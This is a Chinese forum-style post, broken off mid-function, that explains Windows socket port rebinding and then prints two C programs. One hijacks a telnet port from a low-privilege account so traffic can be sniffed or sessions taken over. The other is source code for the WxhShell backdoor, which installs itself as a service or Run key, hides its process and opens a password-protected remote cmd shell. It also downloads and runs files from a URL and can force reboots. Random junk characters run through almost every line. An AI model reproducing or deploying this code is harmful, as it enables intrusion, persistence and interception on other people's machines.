在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
PZRm.vC)k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
37@_" Q2)z1'Wv saddr.sin_family = AF_INET;
i!30f^9D-S :*"0o{
ie saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4#Fz!Km ruLi
"d bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
KF|<A@V ]3C&l+m$ot 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X'Dg= | EF?@f{YY$n 这意味着什么?意味着可以进行如下的攻击:
EwcN$Ma 4w:_4qyb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
UJ_E&7,L HKk;oG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dD3I. ?DY Y
zXL8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[}|-%4s BOLG#}sm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5Y
4W:S 2 fX-J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
88
*K QUp()B1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
33_YZOy^j 6<+R55 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Oc;0*v[I n)w@\Uyc #include
3
[lF #include
y_$=Pu6H #include
9qe6hF/29 #include
*K6 V$_{S DWORD WINAPI ClientThread(LPVOID lpParam);
XX5 ):1 int main()
%Lexu)odW {
50oNN+;=R WORD wVersionRequested;
UDHk@M DWORD ret;
|*0oz= WSADATA wsaData;
5rqjqfFa BOOL val;
yG5T;O& SOCKADDR_IN saddr;
"PBUyh-Z SOCKADDR_IN scaddr;
t+k"$zR int err;
#~54t0|Cd> SOCKET s;
}*m:zD@8$ SOCKET sc;
9N|O*h1;u int caddsize;
cxdhG" HANDLE mt;
n`T
4aDm DWORD tid;
2jf-vWV_ wVersionRequested = MAKEWORD( 2, 2 );
(u-i{< err = WSAStartup( wVersionRequested, &wsaData );
nn"!x|c if ( err != 0 ) {
AA9OElCa
printf("error!WSAStartup failed!\n");
:2?J#/o return -1;
<L@0w8i` }
v6
DN:!& saddr.sin_family = AF_INET;
Rx*T7*xg{ L=Q-r[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9}Tf9>qP>M '2a }1? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o_p//S#q saddr.sin_port = htons(23);
qn#\ro1H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_JA.~edqM {
>~I~!i3 printf("error!socket failed!\n");
gM20n^ return -1;
KUVsCmiT }
dWE[*a\g val = TRUE;
J4h7]
qt //SO_REUSEADDR选项就是可以实现端口重绑定的
`,4"[6S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.
zvF!!z {
Pv{ {zyc printf("error!setsockopt failed!\n");
=*qu:f\y return -1;
-<a~kVv }
SC`.VCfc. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4_J*
0=U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
AZxx%6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
PIn' tV A5tY4?| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
n8Jx;j {
'i_od|19~h ret=GetLastError();
k/O|ia6 printf("error!bind failed!\n");
X%xX3e' return -1;
; )O)\__"- }
B=#rp*vwL listen(s,2);
X3I\O,"I while(1)
T5&jpP`M {
Eu\&}n`i caddsize = sizeof(scaddr);
f3s0.G#l //接受连接请求
x`w
4LF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/yyed{q if(sc!=INVALID_SOCKET)
db:b%1hk: {
cu]2`DF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
eb2~$ ,$ if(mt==NULL)
*@lNL=%R {
M~;mamTP printf("Thread Creat Failed!\n");
ZebXcT ,41 break;
uh%%MhTjv }
,IxAt&kN }
q"'^W<i CloseHandle(mt);
zuWj@YG\. }
xj)*K%re closesocket(s);
49~5U+x; WSACleanup();
7_d gQI3y return 0;
DIH.c7o }
vL{~?vq6
DWORD WINAPI ClientThread(LPVOID lpParam)
p8Di9\} {
Ec[=~>;n{l SOCKET ss = (SOCKET)lpParam;
q i}HJkOq SOCKET sc;
R{5Qb?&wOp unsigned char buf[4096];
Miqu SOCKADDR_IN saddr;
-<sn+-uE: long num;
3'Q H\t5 DWORD val;
b{s_cOr/ DWORD ret;
Y.3]vno?X //如果是隐藏端口应用的话,可以在此处加一些判断
NTuS(7m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
BQmg$N,F saddr.sin_family = AF_INET;
\f1r/e(G| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#tKc!]m saddr.sin_port = htons(23);
0K`3BuBs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|[}YM%e {
g}@_
@ printf("error!socket failed!\n");
"wmQ,= return -1;
41mg:xW(J }
b[?6/#N val = 100;
/d9I2~}B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[#kfl {
#QQ\xj ret = GetLastError();
QQ!%lbMK] return -1;
hAHl+q)w? }
cfMj^*I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uI@:\Rss {
FEw51a+V ret = GetLastError();
5Jd&3pO return -1;
Ku*@4#<L6h }
!]&a/$U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
aJ8 8U69 {
muo(bR8 printf("error!socket connect failed!\n");
bdk"7N closesocket(sc);
vUR{!`14 closesocket(ss);
Gn#5zx#l return -1;
5Az=)q4Q }
<33[qt~ while(1)
^E8&!s {
k/=J<?h0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.%<oy"_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
X{P_HCd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ez&v"J num = recv(ss,buf,4096,0);
Kjc"K36{L if(num>0)
SfyZ,0 send(sc,buf,num,0);
)TFaG[tj else if(num==0)
VZ'[\3J break;
oh-Y num = recv(sc,buf,4096,0);
8n?qm96 if(num>0)
_-x|g~pV* send(ss,buf,num,0);
{3lsDU4 else if(num==0)
?P,z^ break;
;RB]awE }
(Ybc~M)z closesocket(ss);
iKN~fGRc closesocket(sc);
Mi,yg=V return 0 ;
}|%dN*', }
[94A?pn[z ;U<;R Q}d6+ C ==========================================================
m"<0sqD; fQ=Yf ?b 下边附上一个代码,,WXhSHELL
E#v}// z4b2t} ==========================================================
TDs=VTd@Z B/:q
#include "stdafx.h"
!JzM<hyg3 fchsn*R%- #include <stdio.h>
n@XI$>B #include <string.h>
B^P)(Nu+ #include <windows.h>
UX;?~X #include <winsock2.h>
E'j>[C:U #include <winsvc.h>
Xa=oryDt #include <urlmon.h>
tq H7M0Ry __teh>MC #pragma comment (lib, "Ws2_32.lib")
^Wo/vm*] #pragma comment (lib, "urlmon.lib")
<iuESeDG )o;/*h%@ #define MAX_USER 100 // 最大客户端连接数
iagl^(s #define BUF_SOCK 200 // sock buffer
KPSFy< #define KEY_BUFF 255 // 输入 buffer
q.U` mtS s]50Y-C #define REBOOT 0 // 重启
~m8".Z" #define SHUTDOWN 1 // 关机
0f&B;?)! .LhIB? #define DEF_PORT 5000 // 监听端口
u)Y~+ [Q O`Er*-O #define REG_LEN 16 // 注册表键长度
%i{Z@ #define SVC_LEN 80 // NT服务名长度
U<gMgA @)1>ba // 从dll定义API
4='Xhm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
t'|A0r$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&l"/G%W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jzI70+E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>!848J rn $a)^! // wxhshell配置信息
y<0zAsT struct WSCFG {
QMLz int ws_port; // 监听端口
1"YN{Ut;G char ws_passstr[REG_LEN]; // 口令
1fm4:xHH int ws_autoins; // 安装标记, 1=yes 0=no
r/}q=J. char ws_regname[REG_LEN]; // 注册表键名
Atc9[<~WG char ws_svcname[REG_LEN]; // 服务名
<K; char ws_svcdisp[SVC_LEN]; // 服务显示名
C]414Ibi char ws_svcdesc[SVC_LEN]; // 服务描述信息
%V71W3>6WS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!TvNT}4 Z int ws_downexe; // 下载执行标记, 1=yes 0=no
H )hO/1m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L[lX?g?Ob char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g"ha1<y< r*HbglB };
#%N v\g; M<^]Ywq*p // default Wxhshell configuration
7aRtw:PQn struct WSCFG wscfg={DEF_PORT,
fqrQ1{%UH "xuhuanlingzhe",
?g^42IYG 1,
=!)Ye:\Q "Wxhshell",
O2;FaASF "Wxhshell",
_; !7:'J "WxhShell Service",
7'Z-VO "Wrsky Windows CmdShell Service",
iGB1f*K%x "Please Input Your Password: ",
*;t\!XDgp 1,
0`c|ZzY "
http://www.wrsky.com/wxhshell.exe",
VK*Dm:G0 "Wxhshell.exe"
waI?X2 };
[p3{d\=*? .a2b&}/.d // 消息定义模块
(
m/ujz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:B{Wf 2<z char *msg_ws_prompt="\n\r? for help\n\r#>";
`NYu|:JK: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"@^Pb$BLY char *msg_ws_ext="\n\rExit.";
%]7'2 char *msg_ws_end="\n\rQuit.";
`ppyCUX char *msg_ws_boot="\n\rReboot...";
x1H1[0w,i char *msg_ws_poff="\n\rShutdown...";
x1]J char *msg_ws_down="\n\rSave to ";
eyW8?: &H8wYs char *msg_ws_err="\n\rErr!";
[As9&]Bv5 char *msg_ws_ok="\n\rOK!";
kvcDa+# Em)U`"j/9 char ExeFile[MAX_PATH];
S&/,+x'c| int nUser = 0;
_PT5 HANDLE handles[MAX_USER];
+7\$wc_1I@ int OsIsNt;
\ vn!SO7 JguPXHa0 SERVICE_STATUS serviceStatus;
aItQ(+y SERVICE_STATUS_HANDLE hServiceStatusHandle;
#1*#3p9UL B@cC'F#G // 函数声明
R!i\-C1 S int Install(void);
V=^B7a.;> int Uninstall(void);
U\*]cw int DownloadFile(char *sURL, SOCKET wsh);
VyX5MVh int Boot(int flag);
]%M&pc3U void HideProc(void);
r$[`A_ int GetOsVer(void);
GDF/0-/Z int Wxhshell(SOCKET wsl);
>~@O\n-t void TalkWithClient(void *cs);
1WjNF i int CmdShell(SOCKET sock);
Q^\m@7O
: int StartFromService(void);
L4O.= *P1 int StartWxhshell(LPSTR lpCmdLine);
LMKhtOZ? #[f]-c(! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
yFoPCA86y VOID WINAPI NTServiceHandler( DWORD fdwControl );
%xt;&HE R2Es~T // 数据结构和表定义
+*RaX (&
SERVICE_TABLE_ENTRY DispatchTable[] =
m)7Ql!l {
CbGfVdw/c {wscfg.ws_svcname, NTServiceMain},
:@uIEvD? {NULL, NULL}
P ~ :
N };
6ChFsteGFr W4;/;[/L // 自我安装
mT:NC'b<9 int Install(void)
dx@|M{jz' {
Mj&G5R~_ char svExeFile[MAX_PATH];
s$% t2UaV HKEY key;
Hr_5N,
strcpy(svExeFile,ExeFile);
{V,aCr azz=,^U# // 如果是win9x系统,修改注册表设为自启动
|\zzOfaO if(!OsIsNt) {
zu3Fi= |0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H )51J:4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y5CDdn RegCloseKey(key);
XGuxd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+0}z3T1L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SR$ 'JGfp RegCloseKey(key);
_aeIK return 0;
t4iD<{4 }
[rkw k\m* }
!4-4i }
X+1Mv else {
|nCVM\+5T 80zpRU" // 如果是NT以上系统,安装为系统服务
#x qiGK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]_BH"ng} if (schSCManager!=0)
Q,K$)bM {
({ O~O5k SC_HANDLE schService = CreateService
O8OAXRt/Y (
(xfh 9=. schSCManager,
.TMLg(2hgv wscfg.ws_svcname,
}*
\*<d
3 wscfg.ws_svcdisp,
,ZghV1z SERVICE_ALL_ACCESS,
MaPOmS8? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fat;5XL@ SERVICE_AUTO_START,
3eg6 CdT SERVICE_ERROR_NORMAL,
^T:L6: svExeFile,
ph}%Ay$ NULL,
2x>7>;> NULL,
a^={X<K|/ NULL,
+h@.P B^`~ NULL,
~-<MoCm! NULL
2X<%BFsE );
%x.du9 if (schService!=0)
]1FLG*sB {
0 N"N$f CloseServiceHandle(schService);
'W,*mfB CloseServiceHandle(schSCManager);
IyI0|&r2A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
q{&\nCy strcat(svExeFile,wscfg.ws_svcname);
0-~s0R89A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=A!rZG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)s,LFIy<A RegCloseKey(key);
Gx
%=&O return 0;
(dZ]j){ }
nK32or3 }
/ej[oR CloseServiceHandle(schSCManager);
;yajt\a }
/oW]? 9 }
DK
eB%k iO&*WIbg return 1;
,PmUl= }
4(*PM&'R DuNindo8 // 自我卸载
e!PB3I int Uninstall(void)
NXQ=8o9,9 {
-%5#0Ogh
M HKEY key;
XmD(&3;v- ?2l`%l5( if(!OsIsNt) {
+ %v1X&_\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jQxhR RegDeleteValue(key,wscfg.ws_regname);
O/|))H?C RegCloseKey(key);
U(0FL6sPC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d#TA20` RegDeleteValue(key,wscfg.ws_regname);
K-~g IlbQ` RegCloseKey(key);
JO*/UC>" return 0;
BPa,P_6( }
CIz0Gjtx6m }
Q^ZM| (s# }
]Zt ]wnL+ else {
Q5ff&CE I 1n,c d[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(BFwE@1" if (schSCManager!=0)
~;?<OOt|wG {
tu Y+n2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}% f7O if (schService!=0)
0
zK{)HZ {
q8&l%-d` if(DeleteService(schService)!=0) {
%59uR}\ CloseServiceHandle(schService);
'B{FRK CloseServiceHandle(schSCManager);
3:MJKS02OD return 0;
5VP0Xa ~ }
;}iB9 Tl CloseServiceHandle(schService);
ff5 gE' }
/q+;!EM CloseServiceHandle(schSCManager);
F@k}p-e~ }
9Q^cE\j }
qC{JsX`~ |ZE^'e*k return 1;
&oMWs]0 }
a/\{NHs6"5 }^iqhUvT F // 从指定url下载文件
RYA@{.O int DownloadFile(char *sURL, SOCKET wsh)
BGBHA"5fz {
mM72>1~L* HRESULT hr;
PWyf3 char seps[]= "/";
~x!up9 char *token;
A$r$g\5+ char *file;
qxb]UV,R char myURL[MAX_PATH];
oWL_Hh%-f` char myFILE[MAX_PATH];
u1L^INo/ }rI:pp^KS strcpy(myURL,sURL);
p09p/ token=strtok(myURL,seps);
'Gqv`rq& while(token!=NULL)
;RJ
8h
x {
?*yyne file=token;
n
Syq}Y3 token=strtok(NULL,seps);
{@vnKyf^K }
,bXZ<RY$ C= V2Y_j GetCurrentDirectory(MAX_PATH,myFILE);
1Vdi5;dn strcat(myFILE, "\\");
F'b%D strcat(myFILE, file);
w+>+hq send(wsh,myFILE,strlen(myFILE),0);
\OA{&G. send(wsh,"...",3,0);
VO8rd>b4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
jOVF+9M if(hr==S_OK)
cu($mjC@T return 0;
xsB0LUt else
vo`& return 1;
O`c50yY Hl0"
zS[ }
=K18| Q0m E{&MmrlL, // 系统电源模块
.a]#AFX int Boot(int flag)
-1,0hmn=+ {
/V:9*C HANDLE hToken;
[K.1 X=O} TOKEN_PRIVILEGES tkp;
Q}|K29Y:p 3y6\0|{1 if(OsIsNt) {
8rH6L:]S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=&} _bd/] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/j$=?Rp tkp.PrivilegeCount = 1;
D<;~eZ' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<;S$4tux AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
![^pAEgx if(flag==REBOOT) {
YND }P9 h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)Q'E^[Ua return 0;
"vSKj/] }
A,9JbX else {
X}v*"`@Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7Hr_ZwO/^ return 0;
C)z4Cn9# }
"0PrdZMx }
m+hI3@j else {
GYfOwV!zB if(flag==REBOOT) {
80*hi)ux[
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b&+zAt. return 0;
\~l_w
,Poo }
`SFeln{1B else {
<ToBVGX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Lj3o-@\*j return 0;
h6
{vbYj }
Nv7-6C6< }
x%=CEe?6 FAEF return 1;
]8\I{LR }
8u+kA
mI N s +g9+<A // win9x进程隐藏模块
g0tnt)] void HideProc(void)
fz=?QEG {
{siOa%;* G kjfDY: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
172 G if ( hKernel != NULL )
8|i'~BFHs {
4w^o ! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yV!4Im.> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
I_ mus<sE FreeLibrary(hKernel);
IC0L&;En }
dT|f<E/P CaJ-oy8 return;
P35DVK S }
Dcvul4Q tk%f_"} // 获取操作系统版本
`FMo;,j int GetOsVer(void)
?8-!hU@QC {
G;l7,1;MU: OSVERSIONINFO winfo;
v_!6S|
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
z%YNZ^d GetVersionEx(&winfo);
B$_4ul\) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,x8;| o5 return 1;
I9S;t_Z< else
OOqT 0wN return 0;
il5C9ql$ }
f+^6.% NUFz'MPv // 客户端句柄模块
by@KdQow int Wxhshell(SOCKET wsl)
" CT}34l {
VGV-t SOCKET wsh;
a;HAuy`M x struct sockaddr_in client;
t )zd'[ DWORD myID;
DXiA4ihr= %bDxvaftT while(nUser<MAX_USER)
MxsLrWxm {
(F4e}hr& int nSize=sizeof(client);
xnY?<?J"! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*,\"}x* if(wsh==INVALID_SOCKET) return 1;
@V%\Gspv qT$k%( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
:\OSHs<M if(handles[nUser]==0)
q-JTGCFl closesocket(wsh);
#d-({blo< else
1>J.kQR^ nUser++;
H#TkIFo] }
+`
Md5.w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?F"o+]i+^ G(&[1V % x return 0;
,9P-<P }
U**8^:*y#: "6f`hy // 关闭 socket
+/ukS6>gr void CloseIt(SOCKET wsh)
M~:_^B {
+Q5O$8i closesocket(wsh);
*-T.xo nUser--;
cE]z Tu?! ExitThread(0);
=}`d }
ic2D$`M u&:N`f // 客户端请求句柄
=l`)b void TalkWithClient(void *cs)
NI V}hf YF {
#fuUAbU0X v"G1vSx)BT SOCKET wsh=(SOCKET)cs;
y]j.PT`Cw char pwd[SVC_LEN];
YN8x|DLi? char cmd[KEY_BUFF];
Mn0.!J
" char chr[1];
2)f_L|o,m int i,j;
_?c.m*)A VgHO&vU while (nUser < MAX_USER) {
'c35%?] g*V.u]U!i if(wscfg.ws_passstr) {
(T%F^s5D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
46:<[0Psl/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uH[WlZ4 //ZeroMemory(pwd,KEY_BUFF);
aCG rS{ i=0;
+4?Lwp'q while(i<SVC_LEN) {
{iD/0q <]rayUyaf // 设置超时
tu
-a`h_NJ fd_set FdRead;
#1<m\z 7l struct timeval TimeOut;
t+?Bb7p,H FD_ZERO(&FdRead);
P7drUiX FD_SET(wsh,&FdRead);
l]]NVBA]) TimeOut.tv_sec=8;
fs!dI TimeOut.tv_usec=0;
l~r;Grd/5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
C]L)nCOBX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hfwJZ\_60 )CFJXc: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>XgoN\w pwd
=chr[0]; A!lZyG!3
if(chr[0]==0xd || chr[0]==0xa) { K.
;ev
pwd=0; t#NPbLZ
break; FZ-Wgh
0z
} =6sP`:
i++; 7[m+r:y
} 0+>g/>
`d_T3^ayu
// 如果是非法用户,关闭 socket T)! }Wvv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dSGdK
$ XA
} ]\39#
#/G!nN #
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~fXNj-'RW
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `^)`J
lx`?n<-X
while(1) { _^<vp
Cd%5XD^
ZeroMemory(cmd,KEY_BUFF); ,
'pYR]3
L ]')=J+
// 自动支持客户端 telnet标准 KXPCkNIN!
j=0; i2qN 0?n
while(j<KEY_BUFF) { b^W&-Hh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @yTu/U
cmd[j]=chr[0]; gfL :SP8
if(chr[0]==0xa || chr[0]==0xd) { g0,~|.
cmd[j]=0; $[T~<I
break; f.g!~wGD
} 6qZQ20h
j++; g#I`P&
} ;j0.#P:a
Q6
*n'6
// 下载文件 {\$S585
if(strstr(cmd,"http://")) { >k
@t.PeoV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?'V78N sA
if(DownloadFile(cmd,wsh)) RRO@r}A!y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01n!T2;yW}
else lU1SN/'zx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@hPb$7
} :DH@zR
else { `gl?y;xC
yCjc5d|tT
switch(cmd[0]) { e#}t
am
2f(`HSC'
// 帮助 f}c;s
case '?': { ?O25k!7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i@/% E~ W
break; *JOK8[Qn
} 1RkN^FZOxq
// 安装 YdI6|o@vc
case 'i': { HS=w9:,
if(Install()) 29Uqdo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.z)l$
else sX?arI=_U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _kD5pC =
break; lg|6~=aQ
} h#zm+( [B*
// 卸载 i}T*| P
case 'r': { 5zS%F: 3
if(Uninstall()) M.g2y &8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Iij,J5i
else v8-szW).
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UB@(r86d
break; J.~@j;[2
} }Z <I%GT
// 显示 wxhshell 所在路径 1^k}GXsWmE
case 'p': { S%RxYJ(
char svExeFile[MAX_PATH]; b8a(.}8*
strcpy(svExeFile,"\n\r"); L'y0$
strcat(svExeFile,ExeFile); 6F^/k,(k4
send(wsh,svExeFile,strlen(svExeFile),0); l"8g9z
break; 88u[s@
} thPAD+u.3
// 重启 %Vo'\|
case 'b': { $Y/z+ea
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2K~v`c*4
if(Boot(REBOOT)) {:cGt2*~^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $(&uaDYv
else { @#wG)TA
closesocket(wsh); HtN:v
ExitThread(0); @Hj]yb5
} |(~IfSE2
break; r%: :q^b3
} Xp;'Wa"@
// 关机 6~ET@"0uK
case 'd': { ,5 ,r.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2-S}#S}2C
if(Boot(SHUTDOWN)) +^:uPW^U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ufR|V-BWx
else { d Np%=gIj
closesocket(wsh); hbXm Ist
ExitThread(0); >u%Bn\G
} @kd$.7Y9
break; s\.r3U&6
} 2zo>`;l
// 获取shell qA}l[:F+#
case 's': { , wk}[MF
CmdShell(wsh); n(A;:)W{
closesocket(wsh); +46& Zb35
ExitThread(0); i% 0qN
break; Ps!
\k%FUl
} P w6l'
// 退出 s2sJJdN
case 'x': { ,ig`'U
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lh+7z>1
CloseIt(wsh); )~)T[S
break; kb-XEJ}L
} ; 180ct4
// 离开 =>*}qen
case 'q': { _bh$
t
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >>=zkPy
closesocket(wsh); 25G~rklk
WSACleanup(); |$8N*7UD
exit(1); "+Ks#
break; M!G/5:VZ
} *"|f!t
} Z'AjeZyyE
} "<oR.f=0
wKW.sZ!S1
// 提示信息 P EzT|uY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UeUOGf ,
} Na\&}GSf^
} jcePSps]
Jcvp<
return; $hM9{
} Kd}%%L
pE1uD4lLb
// shell模块句柄 /0L]Pf;
int CmdShell(SOCKET sock) JpQV7}$
{ lfoPFJ
Z
STARTUPINFO si; #,jm3Mqj
ZeroMemory(&si,sizeof(si)); 3&X5*-U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'fb&3
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]<},[s
PROCESS_INFORMATION ProcessInfo; ziAn9/sT
char cmdline[]="cmd"; P@etT8| V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V2Z^W^
return 0; +5ql`C
}
X/!Y mV!
X?8bb! g%Q
// 自身启动模式 (!ud"A|ab4
int StartFromService(void) &WbHM)_n
{ UuJ gB)
typedef struct OoOwEV2p_
{ <SRSJJR|(
DWORD ExitStatus; Ze`ms96j{
DWORD PebBaseAddress; pfk)_;>,
DWORD AffinityMask; kDKfJp&a
DWORD BasePriority; ]{-ib:f~
